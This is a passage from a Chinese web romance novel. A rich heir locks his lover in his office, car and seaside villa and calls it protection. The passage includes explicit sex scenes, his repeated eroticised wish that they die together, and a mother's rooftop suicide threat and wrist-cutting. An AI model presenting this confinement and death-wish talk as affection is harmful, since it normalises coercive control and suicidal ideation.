舒颜垂下头,闭上了眼睛,抿了抿嘴唇,抬头看见了一幅画。 冷白的一株花,被卷到汹涌的浪中,即将被吞吃。 她莫名觉得这幅画诡异,看过去就有一种窒息感。 她听见自己问:“岑尽白,Zero不是说后天走吗?他怎么没来找你?” 岑尽白微微皱眉:“怎么问起他了?” 舒颜目光坦荡,摇了摇头,“平时他都跟在你身边,现在忽然不在你身边,有些不习惯。” “是这样吗?” 他轻笑:“他要晚几天走了,现在在忙别的事情。” 舒颜乖巧地点点头,说没事了。 岑尽白没多问,他还有很多工作,他的生活里不能只有她。 可他却要她的生活里全是他。 “隔间里面投影,可以看电影,里面还有游戏机,你会打游戏吗?你左手边的书架上,有很多书,大部分都是经济学政治学,这是我考虑不周了,你喜欢看什么书,告诉我我重新安排。” 岑尽白一边看着电脑,一边跟她说。 “要是这些还会让你无聊的话,可以等我闲下来,我会带你出去逛逛的。” 舒颜听得愣住了,脸上闪过诧异,问他:“这是什么意思?” 岑尽白的视线从电脑屏幕转移到她的脸上,极其认真:“颜颜,外面太危险了,我只能把你放在身边了。” 60-70 第61章 真把你当他的挂件了? 外面太危险? 是的,岑尽白就是这么觉得的。 …… “一盆新鲜的栀子花,顶善记的点心,尽快送来。”眼前的男人撂下电话,柔和如水的目光看向舒颜,“还想要其他的吗?” 舒颜摇摇头。 岑尽白没说什么,挂断电话,开始了自己的工作,不会再注意沙发上的女人。 穿上西装的他更加成熟有魅力,就算是再傲慢自大,人们都会觉得这是应该的。 他有一种与生俱来的贵气和气场,可能是因为他略带混血的眼睛,也可能这就是他的本质。 不管是什么,舒颜现在都不想深究。 他好像真的打算,将她困死在他身边。 不是开玩笑,是真的。 岑氏大楼,他的车里,海边别墅,连续两天,舒颜都是在这三个地方呆的。 他让她呆在办公室小小的隔间,说她干什么都可以,要是他有事必须要出去,也要讲她带上,将她锁在他的车里,车钥匙一定在他手里。 夜晚的海边别墅,无论她喊得有多大声,都不会有人听到。 她就像是被困在古堡里的公主,但是是被王子亲自关进去的。 …… 在岑氏大楼,她的活动范围只是他的办公室,出不去那个没有他的允许不能开启的门,只能呆在他的办公室和那间小小的隔间。 在她的探索下,舒颜发现办公室还有其他房间。 她摸上了那个门的门把手,“这是什么房间。” 他看起来仍然在投入工作,不过还是看过来,及时回答了她。 幽蓝色的眸子有些神秘,带着隐隐兴奋:“相信我,颜颜,你不会想看到这个房间里的东西。” 舒颜放在门把手上的手有些犹豫了。 “我可以让你打开,但你会害怕的。”他好整以暇地看着她,说出的话像是虔诚的忠告。 能有什么呢? 有什么会让她这样一个平凡的女人害怕?那可就太多了。 枪支弹药、藏尸现场、毒品贩卖? 一瞬间,她竟然把那么遥远的事物和他相连。 是她潜意识里认为他会做这样的事情吗? 这里可是中国。 像岑尽白这样的人,身上有许多让她害怕的东西,害怕他生气,害怕他平静地发疯,害怕他真的疯到要了她的自由,要了她的命。 他就这样看着她,期待着她打开那扇门,但是舒颜却不敢了。 门把手上的手,收了回去。 “随便看你的东西,会冒犯到你。”舒颜随便找了一个借口。 她和他不是一个世界的人,在这一点上,舒芸从始至终都是对的。 万一这门后是什么他见不得人的东西,她看见了,他们只会牵扯更深。 这不是她想要的。 看见舒颜放弃了想进那个房间的念头,岑尽白的眼中划过失望,还带着矛盾的庆幸。 “我喜欢你的冒犯。” 他还嫌她太过规距,应该再大胆一些,“冒犯”他。 如愿在舒颜脸上捕捉到诧异,岑尽白勾了勾唇,是自嘲的笑。 他放下手中的钢笔,桌上的那个合同被抛下,走向舒颜的方向,将她拢在怀里。 她比他矮太多,要是他不弯腰,她的脸就只能到他的胸口,会闷到她的。 所以他只能弯腰,手心贴着她的后背,将她胸口往他的方向送,这样才能让她的下巴贴到他的肩膀上,她才能呼吸。 也能感受她胸口的柔软和浅浅的心跳。 其实最好的方法,是让她的腿,盘上他的腰。 “颜颜,你可以对我,多一些好奇心。”他对她说。 这样的拥抱经常发生在他们之间,但是舒颜极少回抱住他,只有在某些时候被他顶得站不住的时候,她才会像抓住救命稻草一样抓住他,恨不得钉在他身上。 舒颜不回岑尽白的这句话,她想她也不需要回答他。 她对他的好奇,停留在睡到他的那一刻。 岑尽白等不到回答,只是按着她背的手更加用力,让她也感受到他有力的心跳。 舒颜没有挣扎,她选择闭上眼睛。 她有时也会沉迷于他的身体,这并不是她的错,都是他自愿的,都是他引。诱的。 被她的身体贴着,岑尽白难免会有反应。 他忽然说:“大家都去睡午觉了。” 一开始,舒颜还没反应过来他这句话是什么意思,直到她被抱到了隔间,看着他撕开包装袋,给那个可怕的东西穿上衣裳。 “你办公室怎么会有这个?”她微微瞪大眼睛,像是被吓到的小兔子。 岑尽白笑了下,将她翻了个身,他给她带的衣服是一件蓝色的中长裙,穿在她身上,将她整个人衬得明媚靓丽,在这开着暖气的办公室穿,刚好合适,也刚好方便了他。 “难道颜颜想要有小宝宝吗?”他话说得温柔,手还抚上她平坦的小腹。 “不想。”她立刻拒绝。 他和她本来就是一段孽缘,要是有了孩子,她不敢想……自己最后,究竟会变成什么样子。 会变得和舒芸一样可悲吗? “嗯……” 小腹隆起微微弧度,上面的手没拿开,动作很轻,带着安抚,想让她放松下来。 岑尽白舒服地眯起眼睛,迷恋地看着她:“正好,我也不想,这里只能我进去,其他人都不能。” 虽然和他已经很多次,但舒颜每次开始时都会很疼,她咬着唇,尽量不让自己发出声音。 就算是岑尽白说这是午休时间,但是和他在办公室里做这样的事情,还是在白天,足够让她觉得难堪的了。 这是一件很小的隔间,一眼就能看见岑尽白的办公桌,相应的,只要他工作时抬了头,他也能一眼就能看见隔间里的人和物。 做着这样的事情,隔间的门还是开着的,这太没有安全感了。 “门,把门关上。”舒颜在某个起落的间隙说。 岑尽白的眼圈已经红了,连带着眼里的水光。 这个时候,明明她才是受害者,却每每看到他的眼睛,误以为他被欺负了。 “不用管,没人会进来的。” 说完,他似乎嫌弃她的不专心,吻住了她的唇,想让她全身心地投入。 …… 办公室的门被敲响,声音通过空气介质穿到了火热翻滚的隔间。 舒颜立马警觉,岑尽白像是没有听见一样。 在隔间里充满这样声音的前提下,舒颜还能听见外面的敲门声,不知是她太敏感还是岑尽白办公室门的质量太好。 “有人——” “岑尽白!有人!” 岑尽白已经全身心投入了,像是一头失去理智的野兽一样。 舒颜没办法,只能给打了他两巴掌。 清脆的两声,让那双蓝色的眼睛里的狂热散去了几分。 有人在外面喊:“岑总,顾先生来了。” 是他的助理。 舒颜推开他,将自己裹进被子里。 可怜的丑陋东西直愣愣地指着她,留下虚假的像是泪水一样,控诉着她。 舒颜闭上眼睛,觉得自己好像患上了巨。物恐惧症。 “外面有人找你,你听不见吗?”舒颜有些生气了。 岑尽白的脸色很难看,但还是耐下性子,带着诡异的笑意上来哄着她:“抱歉,太投入了,颜颜,等我解决完。” 他毫不羞耻地在她面前提上了西装裤。 碰了碰她红彤彤的脸,岑尽白这才出去,顺便关上的隔间的门。 …… 舒颜瘫倒在床上,目光直愣愣地看着天花板。 她怎么,会过上这样的生活呢? 夏面黏黏糊糊的,像是他还在。 石楠花的味道弥漫整个隔间,她身上最为浓郁,只要有人在这时打开隔间的门,立刻就能知道里面的人干了什么。 不久,舒颜听到外面传来交谈的声音。 但是岑尽白这间办公室的隔音不错,舒颜就算是靠着门,也只能听清几个字的发音。 隔间外面,是岑尽白和顾野藤的再次会面。 岑尽白衣冠楚楚,从隔间出来后坐回了办公室,桌子挡住了他的腰腹以下,但是他的面色太过靡丽,像是被浇灌过的罂粟花。 男人当中的祸水。 顾野藤进来,看见得便是岑尽白这副模样。 他皱了皱眉,观察力极好的他看见了他凌乱的头发和领带,也看见了他脖子上被咬的痕迹。 “你在国内过得还真是风流。”顾野藤这句话带着讽刺。 岑尽白双腿交叠,面上少见地烦躁。 极快地说:“有什么事?” 顾野藤也不想跟他浪费时间:“一个星期后,我正式跟岑氏提出收购请求。” 岑尽白毫不意外:“还有呢?” 顾野藤说出这次来得主要目的:“方家的股权,我要百分之三十。” “你还真是狮子大开口。” “没办法,穷人就是喜欢钱。”顾野藤不会让步,“这样的话,你父母就不会逼着你娶方家的那位。” 岑尽白看着他,考量了半晌,说:“可以。” 顾野藤满意地笑了笑,站起身,余光瞥见一个粉色的女士拖鞋,内心了然。 “就是通知你一声,好了,不多打扰了。”顾野藤走向门口。 岑尽白根本没起身相送,只说一句:“慢走不送。” 顾野藤半路回头,假笑:“小心别翻了船。” 这句话岑尽白就算是听懂了,也自负地没当回事。 顾野藤走后,岑尽白放下二郎腿,可观的隆起并未消失,刚刚他就是这样,跟自己的合作伙伴交谈的。 这是人之常情,是生命诞生的仪式,是人作为动物最基本的行为。 他以前,怎么会厌恶这种行为呢? 大概是因为没有遇见她吧。 岑尽白面上没多大变化,但是走向隔间的脚步,暴露了他的急切。 隔间的门被打开。 激起他作为人之本能的人就在里面,怎能不急切? 这次,岑尽白特意关上了隔间的门,动作比刚刚更加粗暴,不至于受伤,但是弄得舒颜根本没有心思去关注外面还有什么声音。 …… 结束后,舒颜被带到隔间的浴室,岑尽白细致地给她洗着每一个角落,她犯懒,根本不想动,但脑子里还徘徊着刚刚偶然听见的,他和那个顾先生的谈话。 “方家,要被收购了吗?舒颜问。 岑尽白的手顿了顿,后又自然地帮她洗掉身上的泡沫,回答:“你听见了。”他毫不意外,“你不恨方之清吗?” 岑尽白亲情淡薄,但是他知道,有些人,是极其看中血脉亲缘,即便血亲之人伤害自己,也愿意原谅并且继续对所谓的亲人掏心掏肺。 愚蠢至极的行为。 但是他没有这样骂舒颜,舒颜只是糊涂,他帮她看清就好,他不会允许任何想要伤害她的人靠近她,同理,伤害过她的人也别想好过。 他看见舒颜的脸上闪过一瞬间的茫然,然后说:“原来是恨他的,现在觉得恨他太累了,而且我除了恨他,什么都做不了,那还不如忘了他。”当作没有这个父亲。 这样就不用浪费她的情绪。 岑尽白在她说这些的时候,已经将她身上的泡沫洗干净,顺便将人捞了上来,用浴袍裹上,抱出了浴室。 “那我们颜颜,真是大方呢。” 伤害过她的人,他可不会放过。 舒颜分不清他这句话是在讽刺还是真的在夸她。 岑尽白没有解释,笑了笑,和她一起躺倒床上,缠住她的四肢,埋进她的胸口。 这个床很小,有时动作大点,就会有一个人就要掉下去,所以刚刚在厚如时,都是舒颜在床上,岑尽白站在床下。 但是躺下两个人睡觉,还是绰绰有余的。 这是两个人已经熟悉了的睡觉姿势,要是岑尽白改变了,舒颜可能还会不习惯。 “颜颜,之前的你,活得很累吗?” 舒颜浑身僵住,原本困倦了双眼有了别的神采。 岑尽白收紧手臂,搂住她的腰,带来刺激的窒息感。 “若是你以后还是活得很累的话,记得要告诉我,我和你*一起去死。” 舒颜没有回答。 渐渐地,两个人都闭上了眼睛,陷入了安稳的午睡。 …… 醒来时,身旁的岑尽白已经离去了。 舒颜摸了摸自己的心脏,明明在入睡前,是没有胸闷的感觉的。 她根本没办法分清他口中是真话还是假话,有一瞬间,她差点就信了。 ——有人愿意为了自己去死。 但是怎么会呢? 啪嗒一声,门又被推开,进来的不是岑尽白,是方芝。 “我的天,我真没想到你居然在这里,真是吓到我了!” “岑尽白这么变态的吗?真把你当他的挂件了?走到哪都要带着,在办公室搞什么金屋藏娇?” 她大步冲过来,拨开她浴袍的领子,看尽她脖子上的痕迹,瞪大眼睛:“不是,还玩上办公室play了?” 第62章 “真想和你一起去死,不知道会有多爽” 不是方芝夸张,是她冲进来看到舒颜这个样子,真的被吓到了。 半坐在床上,脸蛋潮红,头发凌乱,眼神清澈又无辜,还有她身上那个要遮遮不住的浴袍,一扒拉她的领子还能看见密密麻麻的“红疹子”。 她已经经人事,能不知道舒颜发生了什么吗? 方芝惊讶过后,想上手摸那些红痕又缩回手,语气后怕:“妈呀,太可怕了。我现在都有些庆幸岑尽白不喜欢我,他还没……” 还没Zero那个金毛犬好呢。 但是她又像是想到什么,呸了几声,不愿意继续说下去。 舒颜拢了拢身上的浴袍,欲盖弥彰地咳嗽了几声,脸却更加绯红,问方芝:“你是怎么进来的?” “我爸……”两个字一出,意识到她们两个同一个爸,柳叶眉蹙起,“我让我爸带我来的,他要跟尽白哥谈事情,我就溜过来了。” 方芝不清楚舒颜对方之清的情感,但她猜测应该是讨厌的吧。 但是她跟舒颜不一样,她不缺少父爱,她有爱她的父亲,不能因为舒颜的原因,就跟方之清有隔阂。 舒颜没多大反应,点点头,反倒说:“你还挺厉害的,门口不是有人看着,没拦着你吗?” 方芝大大方方,耸了耸肩:“我说我要帮尽白哥他们拿文件,外面的助理知道我是谁,不敢不让我进的。” 是了,方芝是岑尽白未来的未婚妻,是方家的大小姐,岑尽白的助理怎么敢拦她。 “你在想什么?”方芝晃了晃她的肩膀。 舒颜笑笑,说没事。 “就算你是我同父异母的姐姐,我也还是讨厌你哦,我帮你,只是想让你尽快离开尽白哥,这样我才能和他在一起。”方芝再次强调她帮她的原因,非常不想让舒颜误会。 “我知道。”舒颜说,然后拿出手机, 方芝盯着她看,她有时候觉得舒颜这个人很奇怪,明明身上常带着死气沉沉,但又会在某一刻迸发生机。 就像是之前在岑家的别墅,她明明都表现出很讨厌舒颜了,但是舒颜夸她的美甲好看,还有秋月苓生日宴那次,一副认真学习的样子,好像楼下的热闹与她无关,但是她要拉着舒颜出去,舒颜轻易就跟着她走了。 舒颜就像是一颗被不断移植的小树苗,你把她放在阴影里,她就会枯萎,给她浇点水,她就会抽出一点嫩芽,将她放在阳光下,她也能伸出枝干,迎风招展。 方芝觉得她还挺神奇的,舒颜对她没有恶意,她也不乐意整这样一个傻子。 舒颜低着头打字,方芝探头看去,没看清,问她:“你在给谁发信息?” 舒颜没避着她:“给我妈妈,舒芸。” 舒芸是方芝的父亲方之清的前妻,现在正在医院住着。 方芝很惊讶:“你妈妈为什么住院?” “因为她的精神出了问题,生活已经不能自理了。”简而言之,就是舒芸现在已经是个半疯子了。 方芝不说话了,犹豫道:“是因为……方家吗?” “一半一半吧。”舒颜不愿意多说,她要说得是别的事情:“我后天会去看望我妈妈,这是一个好机会,我不想再等了。” “后天,这也太急了吧!我机票还没订好!” “这是唯一的借口,也是唯一的机会。”舒颜目光坚定,情不自禁握住了方芝的手。 “为什么是后天?你这么着急,明天我也能买好机票的。” 舒颜有些迟钝地看向她,眼神复杂起来,“因为……我想休息一天……” 其实不是,她也不知道,她为什么要多留一天。 “我求你,送我走吧,我不想呆在他身边了。”尽管她面上看起来冷静,但是声音里带着的颤抖和恳求,还是让舒颜看起来楚楚可怜。 方芝眼中划过动容,回握住她的手,咬着牙,颇有些一不做二不休的姿态:“好!舒颜,我送你走,但你要保证,你走了就不会再回来了!我不希望我和尽白哥的婚礼被人破坏。” 舒颜怔愣了一下,嘴角僵硬地扯出笑容,她清楚地知道方芝并不是真的喜欢岑尽白,“当然,我走了,短时间内就不会回来了。就算我回来了,也会离你们的生活远远的。” 她可真坏啊,她怎么能利用一个单纯善良的小女孩幼稚的占有欲呢? 但是没办法,她只能这么做。 方芝说:“你要发誓!” 舒颜弯唇:“我发誓。” 方芝这才满意地笑笑,虽然她总觉得哪里不太对,但是她还是会为自己的大方感到很有成就感。 这可是她的情敌,她不仅愿意送她走,还愿意原谅她。 她真的是一个很慷慨的人。 他们的计划商量完,方芝竟没走,追着舒颜问了许多闺房秘事,甚至还要拿岑尽白和Zero作比较。 舒颜有些难以启齿,让方芝不要再问了,但是方芝不愿意,她太好奇了。 “这么说的话,这俩人在床上是不一样的风格了?”方芝捏着下巴,若有所思。 “Zero在床上就像一只听话的小狗,我让他舔他就得舔,让他快点他就得快点,尽白哥在床上就是一头狼,喜欢咬你,你们更像是s。m,他是s,你看看你身上,都下不来床了,是m没错了。” 其实岑尽白有时也很听话,也很m…… 不过舒颜没开口说这些。 舒颜红着脸,好像回到了大学时室友们一起讨论性。这个话题,她假装看书实则在偷听的时候。 但是这种暧昧又新奇的气氛并没有持续多久,因为岑尽白很快回来了。 在他发现方芝在这里时,他很“礼貌”地让方芝出去。 要不是方芝真的很喜欢岑尽白这张脸,她有时候都想扇他巴掌。 方芝像个河豚一样看着岑尽白,又转头看向舒颜,恶狠狠道:“我警告你,不要以为尽白哥现在喜欢你,你就能为所欲为了,我和尽白哥迟早要结婚的,你这个小白花是没有好下场的!” 然后悄悄冲舒颜眨眨眼睛,趾高气昂地哼了一声,潇洒离去。 舒颜垂下眼眸,不看岑尽白也不看方芝,像是一朵真的小白花。 岑尽白将隔间的门再次关上,隔间就只剩下岑尽白和舒颜两个人,然后像是什么都没发生一样将脸埋在她的胸口。 他好像很疲惫的样子,往往他有情绪的时候,总是会做这样的动作。 但是他还是没忘记“假惺惺”地跟舒颜说:“颜颜,你放心,我不会让欺负你的人有好下场的。” 舒颜闭上眼睛,胸口的脑袋压上她的心脏,心脏的跳动连带着神经和血管,颤栗的触感传到身体各处。他能给予他依偎感和被依偎感,很神奇,甚至有些让她上瘾。 这是毒品,是温柔乡,要戒掉这些,她才能成为一个完整的人。 不过岑尽白没有温存多久,只是那么一小会儿,就从她的胸口离开了。与她交换一个缠绵的吻后,走出隔间埋头工作。 他最近,好像很忙。 …… 夜晚的海边别墅。 这是一个独栋别墅,舒颜不知道岑尽白什么时候买下这个地方,应该是在他们认识之前,至于他为什么要买下这里,可能是为了安静吧。 她喜欢别墅里巨大的落地窗,喜欢听外面的海浪声,喜欢能看到夜晚波光粼粼的海面。 他从身后抱住她,温柔缱绻地爱人低语:“我就知道你会喜欢。” 她破碎的不成样子的嗓音被海浪拍打的声音吞没,她很想问他你怎么知道我喜欢大海。 他总是很奇怪,从她进入别墅那一刻,明明是她先盯上他的,可是他却没有理由地允许她的靠近和冒犯,捡她扔掉的书。 她糊里糊涂,根本没有思考能力:“我们……是不是,在哪里……见过?呃……” 岑尽白抱着她的动作一顿,接着恢复疯狂的频率,咬她后颈上的嫩肉:“你不止一次主动亲过我,” “自己想。” 舒颜哪里有时间想,连她问出这样一句虎头蛇尾的话她都很快抛掷脑后。 岑尽白也不会在乎,她听见他阴恻恻地说:“要是我们都死了,一定要葬在海里。” 她不知道,他的声音还能这么正常,只有她是被海水倒灌的哪一个。 耳朵被咬住,从耳垂到耳蜗,再到最上面脆脆的耳骨,都被吞吃,被温暖地裹着,灵活的舌头发出水流般滋滋滋的声音,清晰地穿透耳膜。 涎水连成线,不知从哪里流下,也不知道流向哪里。 好久,舒颜的耳朵才被放开,他的嘴唇贴着她的耳朵,吐息中的酥麻传遍全身:“真想和你一起去死,不知道会有多爽。” 这句话让舒颜浑身战栗,显然,她也兴奋了。 他的手伸。进大海里,咸腥的海水浸泡他的指尖。 呢喃道:“涨潮了。” 岑尽白语气认真,舒颜却红了脸。 …… 潮水褪去时,一些浮游生物会滞留在沙滩上,攀附着海边的沙砾和岩石,就算是坚硬如它们,也会被这样微小的生物侵蚀,日积月累,深入皮肉和心肺。 舒颜醒来时,正值退潮时期,岑尽白在落地窗前吗,弯腰擦着玻璃。 他擦的那个地方,正是昨天晚上被浑浊喷脏的地方。 他的手按住她的手,在玻璃上留下一个有一个斑驳的手印。 上午的阳光都照在他的面容上,和煦如春风:“醒了,那我们走吧。” 他在等着她醒,等着她醒来,带她一起走。 他是一刻也不会让她离开的。 舒颜早在前几天就真正意识到这一点。 * 岑氏大楼全都传遍了,他们的小岑总,这几天身边总是跟着一个女人,不是秘书不是助理,那个女人不用做任何事情,主打一个陪伴。 小岑总的办公室,还多了很多女人的东西,送去的餐口味也大变样,他们猜测那个女人口味偏重,喜欢吃辣。 这是一个多么让人羡慕的差事啊。 职员A:“你见过那个女人吗?” 职员B:“没有,小岑总从来不带走员工电梯,听说那女人较弱的很,走到哪都要人抱着。” 职员C:“我听小岑总身边的助理说,那个女人是清纯那一挂的长相,原来小岑总喜欢这样的。” 职员A:“虽然岑氏现在在走下坡路,但是瘦死的骆驼比马大,小岑总不会穷到哪里去,那女人也算是走了好运了,毕竟小岑总那么帅。” …… 有人的地方就有八卦,人的语言是一个神奇的东西,在一个人口中的话,到了另一个人口中,可能就变成另外一个意思。 有人说小岑总带在身边的女人是一个白月光替身,有人说就是白月光本人,还有人说是她就是一个捞女。 这些八卦传到岑方启口中,他揉了揉眉间,一脸疲态,一挥手将桌子上的文件和摆件全都推倒,那张恩爱夫妻的合照落在地上,四分五裂。 “现在都什么时候了?你老子我都急得焦头烂额了,你在这给我流连花丛间了?岑家要是倒了,我看你拿什么养这个娇弱的女人?卖血还是卖肾?我看你和你那个妈一样,只知道眼前的苟且,做事一点不想以后的退路。她骗我,你看我现在还理她吗?” 岑方启冲进岑尽白的办公室,劈头盖脸就是一顿爹味十足的教训。 舒颜正坐在沙发上,捧着电脑看《山河新疆》的纪录片,想着怎么开口向岑尽白提出她想要去看她妈妈的请求,岑方启就是在这个时候进来的。 进来后看了她一眼,应该是睥睨,带着轻慢和藐视,伤害一个人的自尊心简直是轻而易举。 相较于父亲的小发雷霆、着急上火、前车之鉴般的劝导,岑尽白倒是冷静许多:“岑氏走下坡路,不是从我出生就开始了吗?关我喜欢一个女人什么事呢?” 岑方启欲言又止,脸上有一瞬间的羞臊,看了看自己的儿子,又看了看舒颜。 岑氏走向完蛋,是从岑方启接管开始的。 “还有,舒颜是舒颜,我妈是我妈,怎么能相提并论?难道我就能拿你和我的祖父相提并论吗?”岑尽白继续说。 一句句简直捅向了岑方启的心脏,他的胸口剧烈起伏,恼羞成怒:“那你呢?岑氏在我手里走下坡路,在你手里就是灭亡!” 岑尽白笑笑,顺便安抚地看了眼舒颜,对岑方启说:“是的,我没什么能力,所以我现在只能捂住自己的耳朵,让自己不要听外面的传言。你看,我现在不也在为了救我们岑氏而努力吗?” 岑尽白的话终于让岑方启的脸色好看一些了,但是他还是端着架子,“我不管你喜欢哪个女人,方家的这段联姻,一定要好好考虑。现在是特殊时期,你的言行举止关乎着岑氏,千万别捡了芝麻丢了西瓜。” 说话间,岑方启意有所指地看向舒颜。 岑尽白没反驳,也没去注意舒颜发白的脸色。 舒颜垂下眼眸,她知道岑方启在暗示岑尽白,她跟岑氏比,微不足道。 又有第四个人冲进了岑尽白的办公室。 这次进来的人满脸恐慌,吞咽了几次口水才把话说清楚:“不好了,不好了!” 岑方启在儿子身上吃了瘪,本来就烦,终于找到了发泄口:“不好了不好了什么?!半天憋不出一个香屁!” “岑董,您的夫人,不,您的前夫人,现在正站在公司顶楼,要跳下来!” “什么?!”岑方启惊叫,立体的面容立即扭曲,不顾形象地冲了出去。 舒颜愣愣的,看向坐在那里仍旧闲适的岑尽白:“他说的,是你的妈妈吗?” 岑尽白语气平平,正了正手腕处的袖扣:“应该是。” 舒颜觉得他太冷静了:“那你不去看看吗?” 第63章 “我们是注定要死在一起的” 母亲要跳楼自杀,身为儿子的岑尽白,没有在得知这个消息的那一刻立马冲到现场,反而神色淡淡,看不出丝毫的关心。 “去,怎么不去。”岑尽白回答舒颜,并嘱咐她,“你在这呆着吧,那里估计会很乱。” 他不想让她去,那她就不去。 舒颜点点头,看着他关上了办公室的门,听见门从外面锁上的声音。 他还是对她不放心。 秋月苓自杀的地方就在这栋大楼的顶楼,就算是没去现场,坐在这间办公室里,舒颜还是能听到外面现在有多乱。 警笛声,议论声,不知道从哪个缝隙传来,钻进她的耳朵。 打开手机,甚至还能看到有人在直播。 标题就很有吸引力:曾经的龙头岑氏前夫人站公司顶楼,扬言血洗岑氏! 舒颜动了动指尖,点进了那个直播。 直播的人是从下往上仰拍的,岑氏的楼很高,什么都看不见,隐隐约约可以看见上面有一个小点点在晃,可能是人影,评论区说那就是岑氏董事长的前夫人。 因为看不清顶楼的具体情况,评论区开始控诉主播手机像素差,阴阳怪气,主播也不是好说话的人,直言让他们刷礼物,看看他们能不能给他捐钱换一个像素好的手机。 还真就有有钱又很闲的人刷礼物,主播大言不惭地说着谢谢。 舒颜只觉得那些礼物特效影响观感。 镜头一晃,露出大批穿着救援服的人,紧急铺着救生气垫,有人架着大炮(摄像机),对着顶楼扫射,这东西能满足评论区这些人的像素要求。旁边还有记者进行现场播报。 阵仗挺大的,舒颜心中有点紧张,她不想秋月苓跳下来。 如果是为了男人,着实不值得。 但是还没看到结果,手里里的直播突然结束了,像是被强行掐断。 外面源源不断的嘈杂声令舒颜的心揪起来,只听见砰得一声,盖过所有嘈杂声,她用力捂住胸口,不忍得闭上眼睛。 她好像看见了鲜血迸洒的场面。 办公室门被打开,岑尽白神态自若,叫她跟着他离开这里。 去医院。 “秋阿姨……” 岑尽白轻描淡写:“她没事。” 心跳瞬间回落,又爬满疑惑,难道是她幻听了? 是的,坐上车,看着外面尽职尽责的救援队收起救生气垫,人群也散去,她意识到,是她在幻想有人落下去了,是她幻听了。 意识到自己在心理幻想了别人自杀死掉的场景,舒颜的唇微微颤抖,近乎茫然地对旁边的岑尽白说:“我好像生病了。” 岑尽白握着方向盘的手一顿,立即转头看他,声音带着不自觉的紧张:“怎么了?” “我可能会像我妈妈那样疯掉。” 岑尽白蹙眉,肯定道:“不会。” 舒颜沉默了几秒,恳求他:“我明天想去看看我妈妈,可以吗? 岑尽白没有立即回答,舒颜知道,他在考量,可能还在想怎么拒绝她。 “我真的很想见我妈妈,今天秋阿姨的事情,真的吓到我了,”声音一度哽咽,“你差点就失去了妈妈,我想到了我的妈妈,虽然她做了很多我不喜欢的事,但是我好久没见到她了,我能去看看她吗?” “你陪着我也行。” 舒颜并没有流多少眼泪,但是她现在是脆弱的,眼圈红红,逆来顺受的模样,好像他说不可以,她就不会去。 他的心就这样软了一瞬。 “好,我答应你。” 舒颜破涕为笑,附身亲了正在开车的岑尽白,蜻蜓点水,带着讨好和雀跃,让握着方向盘的手臂青筋暴起。 “谢谢你。” 车子一路开往医院,到的时候岑方启已经在了,他的手上全是血,颓丧地坐在地上,完全不像是前两个小时见到的那样意气风发。 秋月苓没有跳下去,她只是拿着刀,在自己的手腕上划了一刀,岑方启抓住了在顶楼站不稳的秋月苓,立马送来了医院。 岑方启看见了岑尽白身后的舒颜,皱了眉,似乎想告诉岑尽白她不应该来这里,但是最终什么都没有说。 护不住爱的女人,被所爱女人的妹妹耍得团团转。岑方启知道自己活得悲哀。 秋月苓抢救过来后没多久就醒了,她第一个看向的人是岑方启,分不清那是什么眼神。 第二个看向的人是岑尽白,紧接着看向的人是舒颜。 她似乎有些惊讶舒颜被带到医院来,但反应过来后又没那么惊讶,还冲着她笑。 “你们都走,我要舒颜留下。”秋月苓虚弱地说。 岑尽白握住舒颜的手,无声拒绝。 秋月苓轻蔑一笑:“我可以现在就开直播,我想楠溪市的人民一定很好奇,我为什么要这么做吧?” 岑方启果然被她威胁到,将岑尽白拽了出去。 舒颜给了岑尽白一个放心的表情,他才放手。 病房里只剩下两个女人。 打量的目光从上至下,舒颜没躲,不算是太怕事。 “没想到我生出来的怪物,有一天真的会喜欢上一个人。”秋月苓本来是躺着的,觉得这样说话不太顺意,想要坐起身。 舒颜好心上去帮忙,被她拒绝。 她的手腕处已经包扎好,鲜红的液体渗透洁白的纱布,以后这会有一个疤痕,跟舒颜一样。 “知道我为什么这么做吗?”秋月苓苍白的脸上是愉悦的笑容,“他到现在还以为,我很爱他呢,这样做只是为了吸引他的注意,其实不是,我只是想让岑方启身败名裂。” “现在外面肯定全是他的流言,我看他还有没有脸面抛头露面!” 舒颜怔愣,原来是这样,那她刚刚的担心,都是没用的了。 但是舒颜始终没有开口,只是静静地站在那里,像一个雕塑一样,木讷呆滞,美则美,少了灵动。 秋月苓不是很懂地看向她:“我都跟你说了,你会告诉他们父子吗?”她可是给了岑氏重重一击。 “你希望我说吗?” 秋月苓耸肩:“随便你咯。” 死猪不怕开水烫的样子,疯女人一个。 她打量着舒颜:“真不知道我儿子喜欢你什么?甚至不惜求我配合她,将让你住进岑家别墅里。” “什么?” 秋月苓脸上兴味十足:“你还不知道吗?你走的每一步,都是他的圈套,她他将你当猫逗呢。” “从什么时候开始?” “一年以前?记不清了,他刚回国,应该是那个时候遇见你。” 舒颜差点站不住,秋月苓还在说:“我以为你知道呢。你妈妈就是我故意招进来做保姆的,你住三楼也是岑尽白安排的,三楼一直都是他一个人的地盘呢。” 秋月苓很满意舒颜吃惊的表情:“我真的不想让你嫁给岑尽白,你们差距太大,不会有好结果,舒颜,你想想你妈妈是什么下场。” “我宁愿他娶方家的那个蠢丫头,至少她不是被父亲抛弃的孩子。” 女人最懂如何捅女人的刀子。 心好像在流血,但是不疼,可能是麻木了。 一年……她丝毫不记得她遇见过岑尽白。 * 岑氏前董事长夫人要在公司顶楼自杀,网络时代,这种消息传播扩散时间要不了三分钟,医院里已经溜进来好多记者想要采访秋月苓和岑家父子了,都被阻挠。岑尽白的电话也快被人打爆了,他选择关机。 这个时候,应该立马做公关,开新闻发布会澄清丑闻,但是岑尽白却完全没有行动,而岑方启,正在被远在德国的母亲批评,一个落魄的无头苍蝇。 岑尽白带着舒颜避开媒体,什么都没管,开着车回了海边别墅。 车上寂静,橘子味的车载香沉默熏发。 岑尽白没有问舒颜秋月苓和她说了什么,好像他根本不在乎。 她现在就在他身边,要不了多久,他就能铲除一切障碍,那时候,无论他走到哪里,都能光明正大地带上她,不用有任何顾虑。 舒颜在快到别墅时,打开了窗户,属于大海的咸腥气息涌进来,岑尽白停下车,侧头看她。 她叹了口气。 “怎么了?” 舒颜扭头:“岑尽白,岑家的别墅里,不是我们的第一次见面,是吗?” 岑尽白有些愣,眼睛里压着情绪,不时翻滚,声音也低:“你想起来了?” 舒颜模棱两可:“好像。” 蓝眸的微光暗了下来。 舒颜:“我们……” 猝不及防对上他的眼睛,那双眼睛,压抑着什么,舒颜看不清。 …… 20XX年1月,舒颜被抬出了考场,宣告着她的第一次考研失败。 本来不用考研的,舒颜是她们寝室最有希望保研的那个,室友假言登错了她的账号,让她一门网上选修课挂科,无缘保研名额。 舒颜顶不住舒芸的高压和打击,直接在考场晕了过去。 